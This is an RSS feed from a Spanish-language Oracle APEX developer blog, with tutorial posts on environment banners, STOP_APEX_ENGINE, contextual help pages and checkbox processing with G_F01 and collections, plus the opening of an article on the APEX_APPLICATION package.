<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Untitled Publication]]></title><description><![CDATA[Untitled Publication]]></description><link>https://www.paraguayandev.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1732554274058/796d75a2-566f-4cf9-83fa-da42eff72eda.png</url><title>Untitled Publication</title><link>https://www.paraguayandev.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 07 Apr 2026 22:41:06 GMT</lastBuildDate><atom:link href="https://www.paraguayandev.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Banner de Entorno en APEX y como configurarlo.]]></title><description><![CDATA[Trabajar con múltiples entornos en Oracle APEX —como DEV, TEST, UAT y PROD— puede volverse un desafío incluso para desarrolladores experimentados. Cambiar entre URLs similares y realizar pruebas en el entorno incorrecto es más común de lo que quisiér...]]></description><link>https://www.paraguayandev.com/banner-de-entorno-en-apex-y-como-configurarlo</link><guid isPermaLink="true">https://www.paraguayandev.com/banner-de-entorno-en-apex-y-como-configurarlo</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[CSS]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[PL/SQL]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Wed, 11 Feb 2026 18:18:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770310084641/6fca7dcf-2717-4642-b338-02d0191fa6f2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Trabajar con múltiples entornos en Oracle APEX —como <strong>DEV</strong>, <strong>TEST</strong>, <strong>UAT</strong> y <strong>PROD</strong>— puede volverse un desafío incluso para desarrolladores experimentados. Cambiar entre URLs similares y realizar pruebas en el entorno incorrecto es más común de lo que quisiéramos. Aquí es donde un <strong>Environment Banner</strong> se convierte en un aliado imprescindible.</p>
<h2 id="heading-que-es-un-environment-banner-en-oracle-apex">¿Qué es un Environment Banner en Oracle APEX?</h2>
<p>Un <strong>Environment Banner</strong> es una franja visible en la parte superior de la interfaz de APEX que indica claramente en qué entorno estás trabajando.<br />Se muestra de manera <strong>constante</strong> mientras navegas por la aplicación, ya sea en páginas de desarrollo, pruebas o producción, y evita que los usuarios confundidos realicen cambios en un entorno incorrecto.</p>
<p><strong>Visualmente</strong>, el banner suele ocupar toda la anchura de la pantalla, puede tener colores distintivos y mostrar un texto que identifique el entorno (por ejemplo, “DESARROLLO”, “PRUEBAS” o “PRODUCCIÓN”).</p>
<h2 id="heading-razones-clave-para-usar-un-environment-banner">Razones clave para usar un Environment Banner</h2>
<p>Tener un banner de entorno activo aporta múltiples beneficios:</p>
<ol>
<li><p><strong>Identificación visual inmediata</strong><br /> Con solo mirar la pantalla, los usuarios saben en qué entorno están, reduciendo riesgos de confusión.</p>
</li>
<li><p><strong>Reducción de errores críticos</strong><br /> Evita que se realicen cambios en producción por accidente, especialmente útil en equipos grandes donde múltiples desarrolladores trabajan simultáneamente.</p>
</li>
<li><p><strong>Visibilidad constante</strong><br /> Al aparecer en todas las páginas de la aplicación, proporciona recordatorios constantes sin depender de la URL.</p>
</li>
<li><p><strong>Mejora la disciplina en procesos de desarrollo</strong><br /> Ayuda a reforzar buenas prácticas y conciencia del entorno en pruebas y despliegues.</p>
</li>
</ol>
<h2 id="heading-como-configurar-un-environment-banner-en-oracle-apex">Cómo configurar un Environment Banner en Oracle APEX</h2>
<p>Configurar un banner es sencillo y rápido. Solo sigue estos pasos:</p>
<ol>
<li><p>Accede a <strong>APEX Administration Services</strong> desde tu instancia APEX.</p>
</li>
<li><p>Navega a <strong>Manage Instance → Define Environment Banner</strong>.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770312184839/f88f2da9-d92f-4ba4-81f1-eb8d8376b579.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Completa los campos:</p>
<ul>
<li><p><strong>Texto del banner:</strong> Nombre del entorno (ej. “DEV”, “TEST”, “PROD”).</p>
</li>
<li><p><strong>Color de fondo:</strong> Escoge un color distintivo por entorno.</p>
</li>
</ul>
</li>
</ol>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770312330670/274a7fe1-021e-4f0a-8890-7a68f252e570.png" alt class="image--center mx-auto" /></p>
<ol start="4">
<li><p>Aplica los cambios y verifica que el banner se muestre correctamente en todas las aplicaciones.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770312362577/7cf7b813-b612-4ffd-9186-f36285421a88.png" alt class="image--center mx-auto" /></p>
<p> El banner tambien se puede definir para que aparezca arriba del Builder</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770312429986/3e315afa-037c-4e20-ab42-2b76629c8206.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770312441047/6d1c6d57-f8c4-435f-bbac-65b7d817cd2b.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Nota: El banner se aplica a nivel de instancia, por lo que no necesitas configurarlo individualmente para cada aplicación.</p>
</blockquote>
<h2 id="heading-mejores-practicas">Mejores prácticas</h2>
<ul>
<li><p><strong>Convención de colores por entorno Ejemplo:</strong></p>
<ul>
<li><p>Desarrollo: amarillo</p>
</li>
<li><p>Test: azul</p>
</li>
<li><p>UAT: naranja</p>
</li>
<li><p>Producción: rojo</p>
</li>
</ul>
</li>
<li><p><strong>Texto claro y legible</strong> para que se reconozca inmediatamente.</p>
</li>
<li><p><strong>Evitar sobrecargar visualmente</strong> la aplicación: el banner debe ser informativo, no intrusivo.</p>
</li>
<li><p><strong>Documentar la convención</strong> en tu equipo para mantener consistencia.</p>
</li>
<li><p>Configura banners en todas las instancias desde el principio del proyecto para acostumbrar al equipo y prevenir errores desde el primer día.</p>
</li>
</ul>
<p>Implementar un <strong>Environment Banner</strong> no solo es una mejora estética, tambien, es una práctica de seguridad y disciplina operativa.<br />Equipos que trabajan con múltiples entornos deben considerarlo <strong>un estándar</strong>, similar a controles de acceso, backups y pruebas automatizadas.</p>
<p>Si aún no lo estás usando, ¡pruébalo en tu instancia APEX hoy mismo! Comparte tu experiencia con tu equipo y observa cómo mejora la seguridad y eficiencia en el manejo de múltiples entornos.</p>
]]></content:encoded></item><item><title><![CDATA[APEX_APPLICATION.STOP_APEX_ENGINE: Detener el motor de Oracle APEX en el momento justo]]></title><description><![CDATA[Cuando trabajamos con Oracle APEX solemos pensar que cada request sigue siempre el mismo ciclo:

Render → Procesos → Branch → HTML → Respuesta al navegador

Pero hay situaciones en las que queremos cortar ese flujo inmediatamente.Por ejemplo:

Redire...]]></description><link>https://www.paraguayandev.com/apexapplicationstopapexengine-detener-el-motor-de-oracle-apex-en-el-momento-justo</link><guid isPermaLink="true">https://www.paraguayandev.com/apexapplicationstopapexengine-detener-el-motor-de-oracle-apex-en-el-momento-justo</guid><category><![CDATA[Apex]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Wed, 11 Feb 2026 18:15:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770833475990/f158d512-6dda-4092-b474-065ed8b885d8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cuando trabajamos con Oracle APEX solemos pensar que cada request sigue siempre el mismo ciclo:</p>
<blockquote>
<p><strong>Render → Procesos → Branch → HTML → Respuesta al navegador</strong></p>
</blockquote>
<p>Pero hay situaciones en las que <strong>queremos cortar ese flujo inmediatamente</strong>.<br />Por ejemplo:</p>
<ul>
<li><p>Redirecciones manuales</p>
</li>
<li><p>Respuestas REST personalizadas</p>
</li>
<li><p>Descarga de archivos</p>
</li>
<li><p>APIs hechas en PL/SQL</p>
</li>
<li><p>Seguridad (evitar que APEX agregue HTML inesperado)</p>
</li>
<li><p>Generación de JSON/XML puro</p>
</li>
</ul>
<h2 id="heading-que-hace-realmente-stopapexengine">¿Qué hace realmente STOP_APEX_ENGINE?</h2>
<p>El procedimiento:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">begin</span>
    APEX_APPLICATION.STOP_APEX_ENGINE;
<span class="hljs-keyword">end</span>;
</code></pre>
<p>le indica al motor de APEX que <strong>detenga el procesamiento inmediatamente y salga sin agregar más HTML al buffer HTTP</strong>.</p>
<p>En otras palabras:</p>
<p>APEX deja de comportarse como página web y pasa a comportarse como backend puro</p>
<p>Esto es clave cuando querés controlar completamente la respuesta HTTP.</p>
<h2 id="heading-por-que-existe">¿Por qué existe?</h2>
<p>APEX siempre intenta ayudarte renderizando la página.</p>
<p>Pero eso es un problema cuando querés devolver:</p>
<ul>
<li><p>JSON</p>
</li>
<li><p>XML</p>
</li>
<li><p>un archivo</p>
</li>
<li><p>una redirección manual</p>
</li>
<li><p>un código HTTP específico</p>
</li>
</ul>
<p>Sin detener el motor, APEX termina agregando cosas como:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>...<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>...
</code></pre>
<p>Y eso rompe:</p>
<ul>
<li><p>integraciones</p>
</li>
<li><p>APIs</p>
</li>
<li><p>descargas</p>
</li>
<li><p>iframes</p>
</li>
<li><p>fetch/ajax</p>
</li>
</ul>
<h2 id="heading-ejemplo-redireccion-manual">Ejemplo : redirección manual</h2>
<pre><code class="lang-sql">owa_util.redirect_url('https://apex.oracle.com');
apex_application.stop_apex_engine;
</code></pre>
<p>El navegador se redirige y APEX no sigue procesando la página.</p>
<h2 id="heading-el-detalle-que-todos-olvidan-y-causa-bugs-raros">El detalle que todos olvidan (y causa bugs raros)</h2>
<p>STOP_APEX_ENGINE lanza internamente la excepción:</p>
<pre><code class="lang-sql">APEX_APPLICATION.E_STOP_APEX_ENGINE
</code></pre>
<p>Si tenés un WHEN OTHERS, vas a romper todo sin darte cuenta.</p>
<p>Oracle lo advierte claramente:<br />Debés volver a lanzar la excepción.</p>
<h3 id="heading-forma-correcta">Forma correcta</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    owa_util.redirect_url(<span class="hljs-string">'https://apex.oracle.com'</span>);
    apex_application.stop_apex_engine;

EXCEPTION
    WHEN apex_application.e_stop_apex_engine THEN
        RAISE; <span class="hljs-comment">-- obligatorio</span>
    WHEN OTHERS THEN
        <span class="hljs-comment">-- manejo real de errores</span>
        raise_application_error(-20000, 'Error inesperado');
<span class="hljs-keyword">END</span>;
</code></pre>
<p>Si no hacés esto:</p>
<ul>
<li><p>APEX seguirá renderizando la página</p>
</li>
<li><p>Tendrás HTML mezclado con tu respuesta</p>
</li>
<li><p>Bugs imposibles de entender</p>
</li>
</ul>
<p>APEX_APPLICATION.STOP_APEX_ENGINE no es un procedimiento más.</p>
<p>Es el <strong>interruptor que separa frontend de backend dentro de APEX</strong>.</p>
<p>Te permite convertir APEX en:</p>
<ul>
<li><p>un generador de APIs</p>
</li>
<li><p>un servidor de archivos</p>
</li>
<li><p>un backend puro PL/SQL</p>
</li>
<li><p>un proveedor de servicios para SPA</p>
</li>
</ul>
<p>Si desarrollás integraciones o endpoints y no lo usás, tarde o temprano vas a tener:</p>
<blockquote>
<p>respuestas corruptas, JSON inválido o archivos rotos</p>
</blockquote>
<p>Aprender a usarlo correctamente marca la diferencia entre:</p>
<p>desarrollar páginas APEX<br />desarrollar plataformas con APEX</p>
]]></content:encoded></item><item><title><![CDATA[Cómo mejorar la UX en Oracle APEX usando APEX_APPLICATION.HELP]]></title><description><![CDATA[Brindar ayuda contextual en aplicaciones empresariales es clave para que los usuarios comprendan rápidamente qué acciones realizar y cómo interactuar con cada pantalla. En Oracle APEX, una herramienta poderosa y poco explotada para esto es el procedi...]]></description><link>https://www.paraguayandev.com/como-mejorar-la-ux-en-oracle-apex-usando-apexapplicationhelp</link><guid isPermaLink="true">https://www.paraguayandev.com/como-mejorar-la-ux-en-oracle-apex-usando-apexapplicationhelp</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[ Apex Programming ]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Wed, 04 Feb 2026 23:07:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770244695573/57782cb9-0358-4921-82f2-1a192c53aa88.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Brindar ayuda contextual en aplicaciones empresariales es clave para que los usuarios comprendan rápidamente qué acciones realizar y cómo interactuar con cada pantalla. En Oracle APEX, una herramienta poderosa y poco explotada para esto es el procedimiento APEX_APPLICATION.HELP. En este artículo, aprenderás cómo utilizarlo.</p>
<h2 id="heading-por-que-la-ayuda-contextual-importa">¿Por qué la ayuda contextual importa?</h2>
<p>En aplicaciones empresariales, los usuarios necesitan orientación clara sin depender de manuales externos. Aquí es donde entra la <strong>ayuda contextual</strong>: proporciona información útil justo en el momento que se necesita, mejorando la eficiencia y reduciendo errores.</p>
<h2 id="heading-como-uso-apexapplicationhelp">Como uso APEX_APPLICATION.HELP</h2>
<p>Creamos una nueva pagina en blanco en el “Page Mode” usamos “Modal Dialog“.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770153844887/ef053fd4-538c-4f96-ae16-8f3e56fdb1c1.png" alt class="image--center mx-auto" /></p>
<p>A esta pagina le agregamos una nueva region.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770153990920/1cb519fc-dad0-42a7-91e8-2e91237d418d.png" alt class="image--center mx-auto" /></p>
<p>Le ponemos un nombre representativo y en el “Type“ usamos “Dynamic Content”.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770154018050/b5bf7897-ad53-4439-ad9b-891decef54f9.png" alt class="image--center mx-auto" /></p>
<p>En la seccion "Appearance” utilizamos el Template Standard, y en el “Template Opcion” ocultamos el Header con la propiedad Hidden</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770155196374/4cee9b41-6fd5-49ad-9a4d-a42abf302c76.png" alt class="image--center mx-auto" /></p>
<p>En la seccion de “source”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770154300167/366c704a-8b3d-4a3d-8a97-907272db61c5.png" alt class="image--center mx-auto" /></p>
<p>Agregamos el siguiente codigo.</p>
<pre><code class="lang-sql">
APEX_APPLICATION.HELP(    p_flow_id =&gt; :APP_ID,    
                          p_flow_step_id =&gt; :REQUEST);
return '';
</code></pre>
<p>Con este ultimo cambio, guardamos la pagina y vamos al &amp;App_id&gt;Shared_Components&gt;Lists&gt;”<strong>Navigation Bar</strong>” y creamos un nuevo “List Entry” asi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770154828730/56c0679b-e39c-4d83-baf0-9c47dff22206.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Image/Class: <strong>fa-question-circle</strong></p>
</li>
<li><p>List Entry Label: <strong>Ayuda</strong></p>
</li>
<li><p>Target type: <strong>Page in this Application</strong></p>
</li>
<li><p>Page: <strong>Aqui colocamos el id de la pagina que acabamos de crear</strong></p>
</li>
<li><p>Request: <strong>&amp;APP_PAGE_ID.</strong></p>
</li>
</ul>
<p>Despues de guardar esta nueva “List Entry” al ejecutar la aplicación tendriamos de esta manega el menu bar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770155452245/c429f549-5349-4516-97e1-5b6b79838b85.png" alt class="image--center mx-auto" /></p>
<p><em>Con este procedimiento, APEX muestra automáticamente la información de ayuda configurada para esa página. Es ideal para guiar al usuario en formularios, reportes o procesos complejos sin recargar la interfaz.</em></p>
<h3 id="heading-para-probar-la-pagina-de-ayuda-prepare-una-pagina-de-prueba-que-en-su-seccion-de-help-anadi-el-texto-esta-pagina-la-cree-para-probar-los-textos-de-ayuda">Para probar la pagina de ayuda prepare una pagina de prueba que en su seccion de “Help” añadi el texto “Esta pagina la cree para probar los textos de ayuda“</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770155717076/8d89fce5-2e96-4fb4-a8be-5e1c15463690.png" alt class="image--center mx-auto" /></p>
<p>Al ejecutar la pagina y dar clic en el boton de ayuda del Navigation Bar, nos desplegara la pagina de ayuda.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770156336772/8cd57e67-7262-41ab-85a0-7b9922a908a5.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-beneficios-de-usar-apexapplicationhelp">Beneficios de usar APEX_APPLICATION.HELP</h2>
<ol>
<li><p><strong>Mejora la experiencia del usuario</strong>: proporciona asistencia en el contexto exacto.</p>
</li>
<li><p><strong>Reduce errores y consultas al soporte</strong>: los usuarios entienden mejor los pasos a seguir.</p>
</li>
<li><p><strong>Centraliza la gestión de la ayuda</strong>: toda la información se controla desde APEX, sin necesidad de documentación externa.</p>
</li>
</ol>
<p>APEX_APPLICATION.HELP es una herramienta sencilla pero poderosa para ofrecer ayuda contextual en Oracle APEX. Permite guiar a tus usuarios de manera efectiva, mejorando la experiencia y reduciendo la curva de aprendizaje de tu aplicación.</p>
<p>Si te resultó útil este artículo, comparte tus experiencias aplicando ayuda contextual en tus proyectos APEX y muestra cómo los usuarios disfrutan de aplicaciones más intuitivas.</p>
]]></content:encoded></item><item><title><![CDATA[APEX_APPLICATION: checkboxes (G_F01)]]></title><description><![CDATA[Uno de los usos más comunes , y potentes, de APEX_APPLICATION es el procesamiento de selecciones múltiples realizadas desde un reporte mediante checkboxes.
Cuando el usuario marca varias filas y hace “Submit”, Oracle APEX envía los valores selecciona...]]></description><link>https://www.paraguayandev.com/apexapplication-checkboxes-gf01</link><guid isPermaLink="true">https://www.paraguayandev.com/apexapplication-checkboxes-gf01</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[#ApexKetoACVGummiesWorks]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Cloud]]></category><category><![CDATA[Oracle Database]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Thu, 29 Jan 2026 18:20:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769710570329/0d3e01cc-a3d5-4a36-aab9-c155a7707f4f.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Uno de los usos más comunes , y potentes, de APEX_APPLICATION es el procesamiento de <strong>selecciones múltiples</strong> realizadas desde un reporte mediante <strong>checkboxes</strong>.</p>
<p>Cuando el usuario marca varias filas y hace “Submit”, Oracle APEX envía los valores seleccionados al backend usando <strong>arrays globales</strong>, siendo el más utilizado G_F01.</p>
<p>Este comportamiento <strong>no puede reemplazarse con</strong> v(), ya que v() solo lee <strong>un valor por item</strong>, mientras que G_Fxx permite manejar <strong>estructuras tipo lista o tabla</strong>.</p>
<h2 id="heading-ejemplo-seleccion-multiple-de-empleados">Ejemplo: selección múltiple de empleados</h2>
<p>Tenemos un “Interactive Report“ que lista empleados y permite seleccionar varios usando checkboxes.</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span>
    apex_item.checkbox2(
        p_idx   =&gt; <span class="hljs-number">1</span>,
        p_value =&gt; e.nombre
        ) <span class="hljs-keyword">AS</span> sel,
    e.nombre,
    e.estado <span class="hljs-keyword">AS</span> nuevo_estado
<span class="hljs-keyword">FROM</span> empleados e
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769708793350/17d7b81c-9f7d-40a4-a7ca-95d3787d5432.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-que-hace-este-reporte">¿Qué hace este reporte?</h3>
<ul>
<li><p>Cada checkbox marcado envía su valor a APEX_APPLICATION.G_F01</p>
</li>
<li><p>p_value define <strong>qué dato viaja al backend</strong></p>
</li>
<li><p>En este caso, se envía el <strong>nombre del empleado</strong></p>
</li>
</ul>
<p><strong><em><mark>A tener en cuenta.</mark>*</em></strong><mark><br />Solo los checkboxes </mark><em> **</em><mark>marcados</mark><strong><em> </em><mark> se envían en G_F01.<br />Las filas no seleccionadas </mark><em> </em></strong><mark>no existen</mark><em>** </em><mark> para el proceso PL/SQL.</mark>*</p>
<h2 id="heading-procesamiento-en-el-backend">Procesamiento en el backend</h2>
<p>Se crea un procedimiento en que podemos llamar “PP_CARGAR_COLL” de tipo excecute code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709068987/8d0c8d4a-752b-49a0-8813-6f88a55367d0.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709074659/592a149a-af92-4370-875e-92f85897c3d2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-lo-que-hara">Lo que hara</h3>
<ul>
<li><p>Recorrer <strong>solo los registros seleccionados</strong></p>
</li>
<li><p>Guardarlos temporalmente en una <strong>colección APEX</strong></p>
</li>
<li><p>Prepararlos para procesamiento posterior (aprobación, confirmación, etc.)</p>
</li>
</ul>
<h3 id="heading-procedimiento-completo">Procedimiento Completo</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">begin</span>
  apex_collection.create_or_truncate_collection(p_collection_name =&gt; <span class="hljs-string">'COLL_PRUEBA'</span>); <span class="hljs-comment">-- Crear o limpiar la colección</span>
  if apex_application.g_f01.COUNT = 0 then    <span class="hljs-comment">--Validamos si al menos de marco una fila</span>
    raise_application_error(-20001,
                            'Debe seleccionar al menos un registro.');
  <span class="hljs-keyword">end</span> <span class="hljs-keyword">if</span>;

  for i in 1 .. apex_application.g_f01.COUNT loop    <span class="hljs-comment">--Recorrer únicamente los checkboxes marcados</span>
    apex_collection.add_member(p_collection_name =&gt; 'COLL_PRUEBA',<span class="hljs-comment">--guardamos los marcados en la collection COLL_PRUEBA</span>
                               p_c001            =&gt; apex_application.g_f01(i));
  <span class="hljs-keyword">end</span> <span class="hljs-keyword">loop</span>;
<span class="hljs-keyword">end</span>;
</code></pre>
<h3 id="heading-esto-hace-el-procedimiento">Esto hace el procedimiento</h3>
<ul>
<li><p>G_F01.COUNT indica <strong>cuántos checkboxes fueron marcados</strong></p>
</li>
<li><p>El loop recorre <strong>solo esos valores</strong></p>
</li>
<li><p>Cada valor seleccionado se guarda en la colección COLL_PRUEBA</p>
</li>
<li><p>p_c001 almacena el dato enviado desde el checkbox</p>
</li>
</ul>
<p>Al ejecutar la pagina, “Submit“, las filas marcadas ya estaran insertadas en la collection lo podemos comprobar usando las herramientas de desarrollador de APEX. En la barra de herramientas hacemos clic en “Session“ y “View Session State“.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709949889/99e5eabc-3e40-434a-9956-d8b16cbc6c5b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709723350/4994685b-84d7-43fe-a2c1-1074b57bba4c.png" alt class="image--center mx-auto" /></p>
<p>Se abrira esta ventana.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709799988/7b8f0121-04bb-405d-9c12-459b43b6c332.png" alt class="image--center mx-auto" /></p>
<p>En la opcion view, seleccionamos “Collections“ y hacemos clic sobre el boton “Set“ y la pantalla se va a refrescar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769709850345/58ba240e-2296-4145-acf0-9a3fa7130337.png" alt class="image--center mx-auto" /></p>
<p>Despues de refrescar podremos ver el contenido de las colleciones creadas y asociadas a nuestra sesion</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769710043595/cd24ccb2-474c-4e17-b47d-75088f08543a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-por-que-usar-colecciones-apex">¿Por qué usar colecciones APEX?</h2>
<p>Las colecciones son ideales cuando:</p>
<ul>
<li><p>Necesitás almacenar selecciones temporales</p>
</li>
<li><p>Querés mostrar una pantalla de confirmación</p>
</li>
<li><p>El proceso se divide en varios pasos</p>
</li>
<li><p>No querés impactar tablas definitivas aún</p>
</li>
</ul>
<p>Ejemplo de lectura posterior:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span> c001 <span class="hljs-keyword">as</span> nombre_empleado
  <span class="hljs-keyword">from</span> apex_collections
 <span class="hljs-keyword">where</span> collection_name = <span class="hljs-string">'COLL_PRUEBA'</span>;
</code></pre>
<h2 id="heading-de-que-me-serviria-este-patron">¿De que me serviria este patrón?</h2>
<p>Este enfoque (checkbox + G_F01 + colección) es muy común en:</p>
<ul>
<li><p>Aprobaciones masivas</p>
</li>
<li><p>Eliminación múltiple de registros</p>
</li>
<li><p>Selección de ítems para facturación</p>
</li>
<li><p>Migraciones desde Oracle Forms</p>
</li>
<li><p>Procesos en varias pantallas (wizard)</p>
</li>
<li><p>Reportes interactivos con acciones personalizadas</p>
</li>
</ul>
<h2 id="heading-buenas-practicas-al-usar-gf01">Buenas prácticas al usar G_F01</h2>
<ul>
<li><p>Validar siempre que G_F01.COUNT &gt; 0, es decir, que existe.</p>
</li>
<li><p>Usar colecciones para estados intermedios.</p>
</li>
<li><p>Usar apex_debug para diagnóstico.</p>
</li>
<li><p>No asumir que siempre habrá datos.</p>
</li>
<li><p>No mezclar G_Fxx con lógica compleja innecesaria.</p>
</li>
</ul>
<p>APEX_APPLICATION.G_F01 permite capturar <strong>listas dinámicas de datos</strong> enviadas desde el frontend de manera simple, directa y controlada.<br />Cuando se utiliza correctamente, especialmente en combinación con <strong>colecciones APEX</strong>, se transforma en un patrón sólido para implementar <strong>procesos masivos</strong>, selecciones múltiples y flujos de trabajo en varios pasos.</p>
<p>Este enfoque no solo resuelve problemas comunes en reportes interactivos y grillas personalizadas, sino que también facilita la <strong>migración desde Oracle Forms</strong> y la construcción de soluciones más claras, mantenibles y escalables dentro de Oracle APEX.</p>
<p>Si este artículo te ayudó a entender mejor cómo funcionan los G_Fxx y cuándo usarlos, <strong>compartilo</strong> con tu equipo o con otros desarrolladores APEX a los que les pueda servir.  </p>
<p>Gracias por leer , ¡seguimos explorando APEX!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769710694785/02a8d96d-38c8-4c72-8a57-a4a1e7cb98d7.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[APEX_APPLICATION: el corazón del contexto de ejecución en Oracle APEX]]></title><description><![CDATA[Oracle APEX es la plataforma low-code por excelencia, pero debajo de su interfaz visual vive un motor PL/SQL muy sofisticado. Para sacarle verdadero provecho ,especialmente cuando trabajamos con procesos, validaciones, automatizaciones o lógica compl...]]></description><link>https://www.paraguayandev.com/apexapplication-el-corazon-del-contexto-de-ejecucion-en-oracle-apex</link><guid isPermaLink="true">https://www.paraguayandev.com/apexapplication-el-corazon-del-contexto-de-ejecucion-en-oracle-apex</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Developer]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Mon, 26 Jan 2026 17:34:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1768949367351/9d0a0e6a-a795-45d0-9ec5-2b5c84ec54ff.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Oracle APEX es la plataforma <em>low-code</em> por excelencia, pero debajo de su interfaz visual vive un motor PL/SQL muy sofisticado. Para sacarle verdadero provecho ,especialmente cuando trabajamos con procesos, validaciones, automatizaciones o lógica compleja, es clave entender <strong>cómo APEX expone el contexto de ejecución de una aplicación</strong>.</p>
<p>Ahí es donde entra en juego el paquete APEX_APPLICATION: una API fundamental que nos permite acceder a variables globales, valores enviados desde formularios, controlar el flujo de ejecución e interactuar directamente con el motor de APEX.</p>
<p>En este artículo vamos a desmenuzar qué es APEX_APPLICATION para APEX 24.2+ por qué es tan importante y cómo usarlo correctamente con ejemplos reales en PL/SQL.</p>
<h2 id="heading-que-es-apexapplication">¿Qué es APEX_APPLICATION?</h2>
<p>APEX_APPLICATION es un <strong>paquete PL/SQL global</strong> que Oracle APEX utiliza para:</p>
<ul>
<li><p>Exponer información de la aplicación en ejecución</p>
</li>
<li><p>Compartir valores entre páginas, procesos y componentes</p>
</li>
<li><p>Recibir datos enviados desde formularios HTML</p>
</li>
<li><p>Controlar el flujo del motor de APEX</p>
</li>
</ul>
<p>En otras palabras, es el <strong>puente entre la capa web (HTML/JS)</strong> y la <strong>lógica PL/SQL</strong> de tu aplicación.<br />Este paquete solo tiene sentido <strong>dentro del contexto de ejecución de APEX</strong>. No está pensado para ser usado como un paquete PL/SQL genérico fuera de una aplicación APEX.</p>
<h2 id="heading-variables-globales-en-apexapplication">Variables globales en APEX_APPLICATION</h2>
